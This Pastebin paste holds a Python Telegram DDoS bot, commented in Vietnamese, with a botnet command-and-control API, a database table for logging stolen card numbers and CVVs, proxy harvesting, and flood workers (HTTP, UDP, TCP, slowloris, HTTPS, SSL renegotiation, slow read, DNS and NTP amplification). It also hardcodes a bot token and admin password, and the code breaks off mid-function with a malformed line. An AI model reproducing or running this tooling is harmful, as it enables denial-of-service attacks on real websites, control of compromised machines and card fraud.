Guest User

Untitled

a guest
Apr 27th, 2026
472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 72.89 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. TELEGRAM DDOS BOT - KHÔNG GIỚI HẠN (BẢN NÂNG CẤP CAO NHẤT + THÊM TÍNH NĂNG)
  4. - Giữ nguyên mọi tính năng cũ
  5. - Thêm botnet mạnh, database, broadcast, update client, báo cáo chi tiết
  6. - Thêm chart, deploy, version, update, cvv, getcvv
  7. - Thêm 10+ method DDoS mới (http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv)
  8. - Thêm nguồn proxy, tăng lên 500
  9. - ĐÃ SỬA LỖI: check web chính xác, proxy tự động loại bỏ khi chết, retry khi request fail
  10. """
  11.  
  12. import telebot
  13. import threading
  14. import requests
  15. import time
  16. import random
  17. import json
  18. import os
  19. import socket
  20. import ssl
  21. import sys
  22. import signal
  23. import logging
  24. import sqlite3
  25. from datetime import datetime
  26. from collections import defaultdict
  27. from concurrent.futures import ThreadPoolExecutor, as_completed
  28. from flask import Flask, request
  29.  
  30. # === THƯ VIỆN THÊM MỚI ===
  31. import matplotlib.pyplot as plt
  32. import io
  33. import hashlib
  34. import base64
  35. from cryptography.fernet import Fernet
  36.  
  37. # ==================== CẤU HÌNH ====================
  38. BOT_TOKEN = "8213292428:AAGAlEozq_rAemQvChVAtrTN92OebiUAJ-s"
  39. ADMIN_ID = 7593738229
  40. ADMIN_PASSWORD = "7788"
  41. MASTER_KEY = "7788"
  42. CURRENT_VERSION = "3.0"
  43. GITHUB_REPO = "https://raw.githubusercontent.com/YOUR_USERNAME/YOUR_REPO/main/bot.py"  # THAY LINK GITHUB
  44.  
  45. bot = telebot.TeleBot(BOT_TOKEN)
  46.  
  47. # Xóa webhook cũ
  48. try:
  49.     bot.delete_webhook()
  50.     print("✅ Đã xóa webhook cũ")
  51. except Exception as e:
  52.     print(f"⚠️ Không thể xóa webhook: {e}")
  53.  
  54. # File lưu dữ liệu cũ
  55. KEYS_FILE = "keys.json"
  56. HISTORY_FILE = "history.json"
  57. PROXY_FILE = "proxy.txt"
  58. USER_FILE = "users.json"
  59. LOG_FILE = "ddos_bot.log"
  60.  
  61. # Cấu hình logging
  62. logging.basicConfig(
  63.     level=logging.INFO,
  64.     format='%(asctime)s - %(levelname)s - %(message)s',
  65.     handlers=[
  66.         logging.FileHandler(LOG_FILE),
  67.         logging.StreamHandler()
  68.     ]
  69. )
  70.  
  71. # === BOTNET NÂNG CẤP: SQLITE DATABASE ===
  72. def init_db():
  73.     conn = sqlite3.connect('c2.db')
  74.     c = conn.cursor()
  75.     c.execute('''CREATE TABLE IF NOT EXISTS clients
  76.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, ip TEXT, last_seen TEXT, info TEXT, status TEXT, version TEXT)''')
  77.     c.execute('''CREATE TABLE IF NOT EXISTS attacks
  78.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, target TEXT, workers TEXT, rps TEXT, method TEXT, duration TEXT, time TEXT, status TEXT)''')
  79.     c.execute('''CREATE TABLE IF NOT EXISTS reports
  80.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, client_ip TEXT, result TEXT, time TEXT)''')
  81.     c.execute('''CREATE TABLE IF NOT EXISTS cvv_logs
  82.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, cc TEXT, cvv TEXT, exp TEXT, time TEXT)''')
  83.     conn.commit()
  84.     conn.close()
  85.  
  86. init_db()
  87.  
  88. def save_client(ip, info, version="1.0"):
  89.     conn = sqlite3.connect('c2.db')
  90.     c = conn.cursor()
  91.     c.execute("INSERT OR REPLACE INTO clients (ip, last_seen, info, status, version) VALUES (?, ?, ?, ?, ?)",
  92.               (ip, datetime.now().isoformat(), json.dumps(info), "active", version))
  93.     conn.commit()
  94.     conn.close()
  95.  
  96. def save_attack(target, workers, rps, method, duration):
  97.     conn = sqlite3.connect('c2.db')
  98.     c = conn.cursor()
  99.     c.execute("INSERT INTO attacks (target, workers, rps, method, duration, time, status) VALUES (?, ?, ?, ?, ?, ?, ?)",
  100.               (target, workers, rps, method, duration, datetime.now().isoformat(), "sent"))
  101.     conn.commit()
  102.     conn.close()
  103.  
  104. def save_report(client_ip, result):
  105.     conn = sqlite3.connect('c2.db')
  106.     c = conn.cursor()
  107.     c.execute("INSERT INTO reports (client_ip, result, time) VALUES (?, ?, ?)",
  108.               (client_ip, result, datetime.now().isoformat()))
  109.     conn.commit()
  110.     conn.close()
  111.  
  112. def save_cvv(cc, cvv, exp):
  113.     conn = sqlite3.connect('c2.db')
  114.     c = conn.cursor()
  115.     c.execute("INSERT INTO cvv_logs (cc, cvv, exp, time) VALUES (?, ?, ?, ?)",
  116.               (cc, cvv, exp, datetime.now().isoformat()))
  117.     conn.commit()
  118.     conn.close()
  119.  
  120. # Biến toàn cục
  121. attacks = {}
  122. request_counts = defaultdict(int)
  123. logged_in = {}
  124. proxy_list = []
  125. botnet_clients = []  # === BOTNET: danh sách client kết nối
  126. lock = threading.Lock()
  127. rate_limit_storage = defaultdict(list)
  128.  
  129. # === BOTNET: Flask API cho client ===
  130. flask_app = Flask(__name__)
  131. current_botnet_command = None  # Lệnh tấn công cho client
  132.  
  133. @flask_app.route('/register', methods=['POST'])
  134. def register():
  135.     data = request.json
  136.     secret = data.get('secret')
  137.     if secret != MASTER_KEY:
  138.         return "Unauthorized", 401
  139.     client_ip = request.remote_addr
  140.     info = data.get('info', {})
  141.     version = data.get('version', '1.0')
  142.     for c in botnet_clients:
  143.         if c['ip'] == client_ip:
  144.             c['last_seen'] = time.time()
  145.             c['version'] = version
  146.             save_client(client_ip, info, version)
  147.             return "OK", 200
  148.     botnet_clients.append({'ip': client_ip, 'last_seen': time.time(), 'info': info, 'version': version})
  149.     save_client(client_ip, info, version)
  150.     print(f"✅ Client mới: {client_ip} (v{version})")
  151.     return "OK", 200
  152.  
  153. @flask_app.route('/get_command', methods=['GET'])
  154. def get_command():
  155.     secret = request.args.get('secret')
  156.     if secret != MASTER_KEY:
  157.         return "Unauthorized", 401
  158.     if current_botnet_command:
  159.         return current_botnet_command, 200
  160.     return "None", 200
  161.  
  162. @flask_app.route('/report', methods=['POST'])
  163. def report():
  164.     data = request.json
  165.     secret = data.get('secret')
  166.     if secret != MASTER_KEY:
  167.         return "Unauthorized", 401
  168.     client_ip = request.remote_addr
  169.     result = data.get('result')
  170.     save_report(client_ip, result)
  171.     print(f"📊 Report từ {client_ip}: {result}")
  172.     return "OK", 200
  173.  
  174. @flask_app.route('/static/client.py', methods=['GET'])
  175. def get_client_code():
  176.     try:
  177.         with open("client.py", "r") as f:
  178.             return f.read(), 200
  179.     except:
  180.         return "Client code not found", 404
  181.  
  182. @flask_app.route('/update', methods=['GET'])
  183. def update_client():
  184.     secret = request.args.get('secret')
  185.     if secret != MASTER_KEY:
  186.         return "Unauthorized", 401
  187.     try:
  188.         with open("client.py", "r") as f:
  189.             return f.read(), 200
  190.     except:
  191.         return "Client code not found", 404
  192.  
  193. def run_botnet_api():
  194.     port = int(os.environ.get("BOTNET_PORT", 8080))
  195.     flask_app.run(host='0.0.0.0', port=port, debug=False)
  196.  
  197. threading.Thread(target=run_botnet_api, daemon=True).start()
  198. # === END BOTNET ===
  199.  
  200. # Danh sách DNS server
  201. DNS_SERVERS = ["8.8.8.8", "1.1.1.1", "8.8.4.4", "9.9.9.9", "208.67.222.222", "208.67.220.220"]
  202. NTP_SERVERS = ["time.google.com", "time.cloudflare.com", "pool.ntp.org", "time.nist.gov"]
  203. MEMCACHED_SERVERS = []
  204.  
  205. # ========== NÂNG CẤP: MỞ RỘNG DANH SÁCH USER-AGENT VÀ REFERER ==========
  206. USER_AGENTS = [
  207.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  208.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
  209.     "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
  210.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
  211.     "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
  212.     "Mozilla/5.0 (Linux; Android 13; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
  213.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0",
  214.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
  215.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0",
  216.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  217.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  218.     "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  219. ]
  220.  
  221. REFERERS = [
  222.     "https://www.google.com/", "https://www.facebook.com/", "https://www.youtube.com/",
  223.     "https://www.bing.com/", "https://www.yahoo.com/", "https://www.amazon.com/",
  224.     "https://www.twitter.com/", "https://www.instagram.com/", "https://www.tiktok.com/",
  225.     "https://www.reddit.com/", "https://www.wikipedia.org/", "https://www.linkedin.com/",
  226.     "https://www.github.com/", "https://stackoverflow.com/", "https://news.ycombinator.com/"
  227. ]
  228.  
  229. # ==================== HÀM TIỆN ÍCH ====================
  230. def random_ip():
  231.     return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
  232.  
  233. def random_cf_header():
  234.     return {
  235.         "CF-Ray": f"cf-{random.randint(1000,9999)}-{random.randint(100,999)}",
  236.         "CF-IPCountry": random.choice(["VN", "US", "JP", "KR", "SG", "DE", "FR"]),
  237.         "CF-Connecting-IP": random_ip(),
  238.     }
  239.  
  240. def get_headers():
  241.     headers = {
  242.         "User-Agent": random.choice(USER_AGENTS),
  243.         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  244.         "Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.6,en;q=0.5",
  245.         "Accept-Encoding": "gzip, deflate, br",
  246.         "Cache-Control": "no-cache, no-store, must-revalidate",
  247.         "Connection": "keep-alive",
  248.         "Upgrade-Insecure-Requests": "1",
  249.         "Referer": random.choice(REFERERS),
  250.         "X-Forwarded-For": random_ip(),
  251.         "X-Real-IP": random_ip(),
  252.         "Sec-Fetch-Mode": "navigate",
  253.         "Sec-Fetch-User": "?1",
  254.         "Sec-Fetch-Site": "none",
  255.         "Pragma": "no-cache",
  256.         "DNT": "1",
  257.     }
  258.     cf_headers = random_cf_header()
  259.     headers.update(cf_headers)
  260.     return headers
  261.  
  262. def random_query_string(url):
  263.     chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
  264.     param = "".join(random.choice(chars) for _ in range(random.randint(5, 12)))
  265.     value = random.randint(1000, 9999)
  266.     if "?" in url:
  267.         return f"{url}&{param}={value}&_={int(time.time())}&cf_cache={random.randint(100,999)}"
  268.     return f"{url}?{param}={value}&_={int(time.time())}&cf_cache={random.randint(100,999)}"
  269.  
  270. def is_target_alive(target):
  271.     try:
  272.         headers = get_headers()
  273.         r = requests.get(target, headers=headers, timeout=5, allow_redirects=True)
  274.         if "cf-challenge" in r.text.lower() or "cloudflare" in r.text.lower():
  275.             return "CF_CHALLENGE", r.status_code
  276.         return "ALIVE", r.status_code
  277.     except:
  278.         return "DEAD", None
  279.  
  280. def is_rate_limited(user_id, limit=20, window=60):
  281.     now = time.time()
  282.     rate_limit_storage[user_id] = [t for t in rate_limit_storage[user_id] if now - t < window]
  283.     if len(rate_limit_storage[user_id]) >= limit:
  284.         return True
  285.     rate_limit_storage[user_id].append(now)
  286.     return False
  287.  
  288. # ==================== HÀM CHECK WEB CHÍNH XÁC (ĐÃ SỬA) ====================
  289. def is_web_alive(target):
  290.     """Kiểm tra web còn sống chính xác hơn (dùng GET, retry, fake headers)"""
  291.     # Thử nhiều phương thức khác nhau để tránh false positive
  292.     for attempt in range(3):
  293.         try:
  294.             # Dùng GET thay vì HEAD (HEAD dễ bị chặn hơn)
  295.             headers = {
  296.                 "User-Agent": random.choice(USER_AGENTS),
  297.                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  298.                 "Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.6,en;q=0.5",
  299.                 "Cache-Control": "no-cache",
  300.                 "Connection": "keep-alive",
  301.             }
  302.             # Thử GET request với timeout 5 giây
  303.             r = requests.get(target, headers=headers, timeout=5, allow_redirects=True)
  304.            
  305.             # Nếu status code < 500 hoặc có nội dung trả về → web còn sống
  306.             if r.status_code < 500:
  307.                 return True
  308.             # Nếu là 403 (Forbidden) hoặc 429 (Too Many Requests) → web vẫn sống, chỉ bị chặn
  309.             if r.status_code in [403, 429, 503]:
  310.                 return True
  311.             # Nếu có Cloudflare challenge, web vẫn sống
  312.             if "cf-challenge" in r.text.lower() or "cloudflare" in r.text.lower():
  313.                 return True
  314.         except requests.exceptions.Timeout:
  315.             # Timeout nhưng có thể do mạng chậm, thử lại
  316.             continue
  317.         except requests.exceptions.ConnectionError:
  318.             # Không kết nối được, thử lại lần cuối
  319.             if attempt == 2:
  320.                 return False
  321.             continue
  322.         except:
  323.             pass
  324.         time.sleep(1)  # Chờ 1 giây trước khi thử lại
  325.    
  326.     # Thử cuối cùng: dùng socket để kiểm tra cổng 80/443 có mở không
  327.     try:
  328.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  329.         port = 443 if "https://" in target else 80
  330.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  331.         sock.settimeout(3)
  332.         result = sock.connect_ex((host, port))
  333.         sock.close()
  334.         if result == 0:
  335.             return True
  336.     except:
  337.         pass
  338.    
  339.     return False
  340.  
  341. # ==================== QUẢN LÝ KEY VÀ LỊCH SỬ (GIỮ NGUYÊN) ====================
  342. def load_keys():
  343.     if not os.path.exists(KEYS_FILE):
  344.         return {}
  345.     try:
  346.         with open(KEYS_FILE, 'r', encoding='utf-8') as f:
  347.             return json.load(f)
  348.     except:
  349.         return {}
  350.  
  351. def save_keys(keys):
  352.     with open(KEYS_FILE, 'w', encoding='utf-8') as f:
  353.         json.dump(keys, f, ensure_ascii=False, indent=2)
  354.  
  355. def generate_key():
  356.     import secrets
  357.     return secrets.token_hex(10)
  358.  
  359. def create_key(admin_id, days=30, max_uses=1):
  360.     keys = load_keys()
  361.     new_key = generate_key()
  362.     keys[new_key] = {
  363.         'created_by': admin_id,
  364.         'created_at': time.time(),
  365.         'expiry': time.time() + (days * 86400),
  366.         'used_by': [],
  367.         'max_uses': max_uses,
  368.     }
  369.     save_keys(keys)
  370.     logging.info(f"Admin {admin_id} tạo key {new_key} - {days} ngày")
  371.     return new_key
  372.  
  373. def delete_key(key):
  374.     keys = load_keys()
  375.     if key in keys:
  376.         del keys[key]
  377.         save_keys(keys)
  378.         logging.info(f"Key {key} đã bị xóa")
  379.         return True
  380.     return False
  381.  
  382. def check_key(key, user_id):
  383.     keys = load_keys()
  384.     if key not in keys:
  385.         return {'valid': False, 'reason': 'Key không tồn tại'}
  386.     data = keys[key]
  387.     if time.time() > data['expiry']:
  388.         return {'valid': False, 'reason': 'Key đã hết hạn'}
  389.     if len(data.get('used_by', [])) >= data.get('max_uses', 1):
  390.         return {'valid': False, 'reason': 'Key đã dùng hết số lần'}
  391.     return {'valid': True, 'expiry': data['expiry']}
  392.  
  393. def use_key(key, user_id):
  394.     keys = load_keys()
  395.     if key not in keys:
  396.         return False
  397.     if user_id not in keys[key].get('used_by', []):
  398.         keys[key].setdefault('used_by', []).append(user_id)
  399.         save_keys(keys)
  400.         logging.info(f"Key {key} được dùng bởi user {user_id}")
  401.     return True
  402.  
  403. def load_history():
  404.     if not os.path.exists(HISTORY_FILE):
  405.         return []
  406.     try:
  407.         with open(HISTORY_FILE, 'r', encoding='utf-8') as f:
  408.             return json.load(f)
  409.     except:
  410.         return []
  411.  
  412. def save_history(history):
  413.     with open(HISTORY_FILE, 'w', encoding='utf-8') as f:
  414.         json.dump(history[:50], f, ensure_ascii=False, indent=2)
  415.  
  416. def add_to_history(target, total_reqs, max_rps, duration, workers, method, rps_target, web_died=False):
  417.     history = load_history()
  418.     history.insert(0, {
  419.         'target': target,
  420.         'requests': total_reqs,
  421.         'max_rps': max_rps,
  422.         'duration': duration,
  423.         'workers': workers,
  424.         'method': method,
  425.         'rps_target': rps_target,
  426.         'web_died': web_died,
  427.         'time': datetime.now().strftime("%H:%M:%S %d/%m/%Y")
  428.     })
  429.     save_history(history)
  430.  
  431. def load_users():
  432.     if not os.path.exists(USER_FILE):
  433.         return {}
  434.     try:
  435.         with open(USER_FILE, 'r', encoding='utf-8') as f:
  436.             return json.load(f)
  437.     except:
  438.         return {}
  439.  
  440. def save_users(users):
  441.     with open(USER_FILE, 'w', encoding='utf-8') as f:
  442.         json.dump(users, f, ensure_ascii=False, indent=2)
  443.  
  444. # ==================== PROXY TỰ ĐỘNG (GIỮ NGUYÊN + THÊM NGUỒN) ====================
  445. def fetch_free_proxies():
  446.     proxies = []
  447.     try:
  448.         url = "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all"
  449.         r = requests.get(url, timeout=10)
  450.         proxies += [p.strip() for p in r.text.split('\r\n') if p.strip()]
  451.         logging.info(f"Lấy {len([p for p in proxies if p])} proxy từ proxyscrape")
  452.     except Exception as e:
  453.         logging.warning(f"Lỗi lấy proxy từ proxyscrape: {e}")
  454.    
  455.     try:
  456.         url = "https://proxylist.geonode.com/api/proxy-list?limit=100&page=1&sort_by=lastChecked&sort_type=desc"
  457.         r = requests.get(url, timeout=10)
  458.         data = r.json()
  459.         for p in data.get('data', []):
  460.             proxies.append(f"{p['ip']}:{p['port']}")
  461.         logging.info(f"Lấy {len(data.get('data', []))} proxy từ geonode")
  462.     except Exception as e:
  463.         logging.warning(f"Lỗi lấy proxy từ geonode: {e}")
  464.    
  465.     try:
  466.         url = "https://free-proxy-list.net/"
  467.         r = requests.get(url, timeout=10)
  468.         pattern = r'</td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td>'
  469.         matches = re.findall(pattern, r.text)
  470.         for match in matches[:50]:
  471.             proxies.append(f"{match[0]}:{match[1]}")
  472.         logging.info(f"Lấy {len(matches[:50])} proxy từ free-proxy-list")
  473.     except Exception as e:
  474.         logging.warning(f"Lỗi lấy proxy từ free-proxy-list: {e}")
  475.    
  476.     # === THÊM NGUỒN PROXY MỚI ===
  477.     try:
  478.         url = "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt"
  479.         r = requests.get(url, timeout=10)
  480.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  481.     except: pass
  482.    
  483.     try:
  484.         url = "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt"
  485.         r = requests.get(url, timeout=10)
  486.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  487.     except: pass
  488.    
  489.     try:
  490.         url = "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt"
  491.         r = requests.get(url, timeout=10)
  492.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  493.     except: pass
  494.    
  495.     try:
  496.         url = "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt"
  497.         r = requests.get(url, timeout=10)
  498.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  499.     except: pass
  500.    
  501.     proxies = list(dict.fromkeys(proxies))
  502.     return proxies[:500]  # TĂNG LÊN 500
  503.  
  504. def check_proxy(proxy):
  505.     try:
  506.         r = requests.get("http://httpbin.org/ip", proxies={"http": proxy, "https": proxy}, timeout=5)
  507.         return proxy if r.status_code == 200 else None
  508.     except:
  509.         return None
  510.  
  511. def update_proxy_list():
  512.     global proxy_list
  513.     logging.info("Đang cập nhật proxy...")
  514.     raw = fetch_free_proxies()
  515.     if not raw:
  516.         logging.warning("Không lấy được proxy raw")
  517.         return
  518.     alive = []
  519.     with ThreadPoolExecutor(max_workers=50) as executor:
  520.         futures = {executor.submit(check_proxy, p): p for p in raw[:200]}
  521.         for future in as_completed(futures):
  522.             result = future.result()
  523.             if result:
  524.                 alive.append(result)
  525.    
  526.     # === THÊM: LỌC PROXY THEO TỐC ĐỘ, CHỈ GIỮ PROXY NHANH ===
  527.     if alive:
  528.         fast_proxies = []
  529.         for p in alive[:50]:
  530.             try:
  531.                 start = time.time()
  532.                 r = requests.get("http://httpbin.org/ip", proxies={"http": p, "https": p}, timeout=3)
  533.                 elapsed = time.time() - start
  534.                 if elapsed < 2:
  535.                     fast_proxies.append(p)
  536.             except:
  537.                 pass
  538.         if fast_proxies:
  539.             alive = fast_proxies
  540.             logging.info(f"✅ Lọc nhanh: giữ lại {len(fast_proxies)} proxy (response < 2s)")
  541.    
  542.     if alive:
  543.         proxy_list = alive
  544.         with open(PROXY_FILE, 'w') as f:
  545.             for p in proxy_list:
  546.                 f.write(p + "\n")
  547.         logging.info(f"Đã cập nhật {len(proxy_list)} proxy")
  548.     else:
  549.         if os.path.exists(PROXY_FILE):
  550.             with open(PROXY_FILE, 'r') as f:
  551.                 proxy_list = [p.strip() for p in f if p.strip() and not p.startswith('#')]
  552.             logging.info(f"Đã tải {len(proxy_list)} proxy từ file backup")
  553.  
  554. # ==================== HÀM LẤY PROXY (ĐÃ SỬA - TỰ LOẠI BỎ PROXY CHẾT) ====================
  555. def get_random_proxy():
  556.     """Lấy proxy ngẫu nhiên, tự động bỏ qua proxy chết"""
  557.     global proxy_list
  558.     if not proxy_list:
  559.         return None
  560.    
  561.     # Thử tối đa 5 lần để lấy proxy sống
  562.     for _ in range(5):
  563.         proxy = random.choice(proxy_list)
  564.         try:
  565.             # Kiểm tra nhanh proxy còn sống không
  566.             test_url = "http://httpbin.org/ip"
  567.             r = requests.get(test_url, proxies={"http": proxy, "https": proxy}, timeout=3)
  568.             if r.status_code == 200:
  569.                 return {"http": proxy, "https": proxy}
  570.             else:
  571.                 # Proxy chết, xóa khỏi danh sách
  572.                 if proxy in proxy_list:
  573.                     proxy_list.remove(proxy)
  574.         except:
  575.             # Proxy chết, xóa khỏi danh sách
  576.             if proxy in proxy_list:
  577.                 proxy_list.remove(proxy)
  578.             continue
  579.    
  580.     # Không còn proxy sống, trả về None
  581.     return None
  582.  
  583. # ==================== CÁC WORKER TẤN CÔNG (GIỮ NGUYÊN) ====================
  584. def http_worker(chat_id, target, delay_ms, worker_id):
  585.     session = requests.Session()
  586.     while attacks.get(chat_id, {}).get('active', False):
  587.         try:
  588.             url = random_query_string(target)
  589.             headers = get_headers()
  590.             session.get(url, headers=headers, timeout=2, proxies=get_random_proxy())
  591.             session.head(url, headers=headers, timeout=1)
  592.             session.options(url, headers=headers, timeout=1)
  593.             session.post(url, headers=headers, data={'x': random.random()}, timeout=2)
  594.             with lock:
  595.                 request_counts[chat_id] += 4
  596.         except:
  597.             pass
  598.         time.sleep(delay_ms / 1000)
  599.  
  600. def udp_worker(chat_id, target, delay_ms, worker_id):
  601.     try:
  602.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  603.         port = 80 if "http://" in target else 443
  604.     except:
  605.         host = target
  606.         port = 80
  607.    
  608.     while attacks.get(chat_id, {}).get('active', False):
  609.         try:
  610.             sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  611.             for _ in range(10):
  612.                 payload = random._urandom(2048)
  613.                 sock.sendto(payload, (host, port))
  614.             sock.close()
  615.             with lock:
  616.                 request_counts[chat_id] += 10
  617.         except:
  618.             pass
  619.         time.sleep(delay_ms / 1000)
  620.  
  621. def tcp_worker(chat_id, target, delay_ms, worker_id):
  622.     try:
  623.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  624.         port = 80 if "http://" in target else 443
  625.     except:
  626.         host = target
  627.         port = 80
  628.    
  629.     while attacks.get(chat_id, {}).get('active', False):
  630.         try:
  631.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  632.             sock.settimeout(1)
  633.             sock.connect((host, port))
  634.             sock.sendto(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n", (host, port))
  635.             sock.close()
  636.             with lock:
  637.                 request_counts[chat_id] += 1
  638.         except:
  639.             pass
  640.         time.sleep(delay_ms / 1000)
  641.  
  642. def slowloris_worker(chat_id, target, delay_ms, worker_id):
  643.     try:
  644.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  645.         port = 80 if "http://" in target else 443
  646.     except:
  647.         host = target
  648.         port = 80
  649.    
  650.     sockets = []
  651.     while attacks.get(chat_id, {}).get('active', False):
  652.         try:
  653.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  654.             sock.settimeout(5)
  655.             sock.connect((host, port))
  656.             sock.sendto(f"GET / HTTP/1.1\r\nHost: {host}\r\n".encode(), (host, port))
  657.             sockets.append(sock)
  658.            
  659.             for s in sockets[:]:
  660.                 try:
  661.                     s.sendto(f"X-Header-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n".encode(), (host, port))
  662.                     with lock:
  663.                         request_counts[chat_id] += 1
  664.                 except:
  665.                     sockets.remove(s)
  666.            
  667.             time.sleep(random.uniform(0.5, 1.5))
  668.         except:
  669.             pass
  670.  
  671. def https_flood_worker(chat_id, target, delay_ms, worker_id):
  672.     try:
  673.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  674.         port = 443
  675.     except:
  676.         host = target
  677.         port = 443
  678.    
  679.     while attacks.get(chat_id, {}).get('active', False):
  680.         try:
  681.             context = ssl.create_default_context()
  682.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  683.             sock.settimeout(5)
  684.             sock.connect((host, port))
  685.             ssock = context.wrap_socket(sock, server_hostname=host)
  686.            
  687.             headers = get_headers()
  688.             request = f"GET / HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {headers['User-Agent']}\r\nReferer: {headers['Referer']}\r\nX-Forwarded-For: {headers['X-Forwarded-For']}\r\n\r\n"
  689.             ssock.send(request.encode())
  690.             ssock.close()
  691.             with lock:
  692.                 request_counts[chat_id] += 1
  693.         except:
  694.             pass
  695.         time.sleep(delay_ms / 1000)
  696.  
  697. def dns_amplification_worker(chat_id, target, delay_ms, worker_id):
  698.     query = b'\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'
  699.     query += b'\x03www\x07example\x03com\x00\x00\x01\x00\x01' * 50
  700.    
  701.     while attacks.get(chat_id, {}).get('active', False):
  702.         for dns_server in DNS_SERVERS:
  703.             try:
  704.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  705.                 sock.sendto(query, (dns_server, 53))
  706.                 sock.close()
  707.                 with lock:
  708.                     request_counts[chat_id] += 1
  709.             except:
  710.                 pass
  711.         time.sleep(delay_ms / 1000)
  712.  
  713. def ntp_amplification_worker(chat_id, target, delay_ms, worker_id):
  714.     monlist_packet = b'\x17\x00\x03\x2a' + b'\x00' * 4
  715.    
  716.     while attacks.get(chat_id, {}).get('active', False):
  717.         for ntp_server in NTP_SERVERS:
  718.             try:
  719.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  720.                 sock.sendto(monlist_packet, (ntp_server, 123))
  721.                 sock.close()
  722.                 with lock:
  723.                     request_counts[chat_id] += 1
  724.             except:
  725.                 pass
  726.         time.sleep(delay_ms / 1000)
  727.  
  728. def ssl_renegotiation_worker(chat_id, target, delay_ms, worker_id):
  729.     try:
  730.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  731.     except:
  732.         host = target
  733.    
  734.     while attacks.get(chat_id, {}).get('active', False):
  735.         try:
  736.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  737.             sock.connect((host, 443))
  738.             context = ssl.create_default_context()
  739.             ssock = context.wrap_socket(sock, server_hostname=host)
  740.             for _ in range(5):
  741.                 ssock.do_handshake()
  742.             ssock.close()
  743.             with lock:
  744.                 request_counts[chat_id] += 5        except:
  745.             pass
  746.         time.sleep(delay_ms / 1000)
  747.  
  748. def slow_read_worker(chat_id, target, delay_ms, worker_id):
  749.     try:
  750.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  751.         port = 80 if "http://" in target else 443
  752.     except:
  753.         host = target
  754.         port = 80
  755.    
  756.     while attacks.get(chat_id, {}).get('active', False):
  757.         try:
  758.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  759.             sock.connect((host, port))
  760.             sock.sendto(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n", (host, port))
  761.             while attacks.get(chat_id, {}).get('active', False):
  762.                 sock.recv(1)
  763.                 time.sleep(0.5)
  764.             sock.close()
  765.         except:
  766.             pass
  767.  
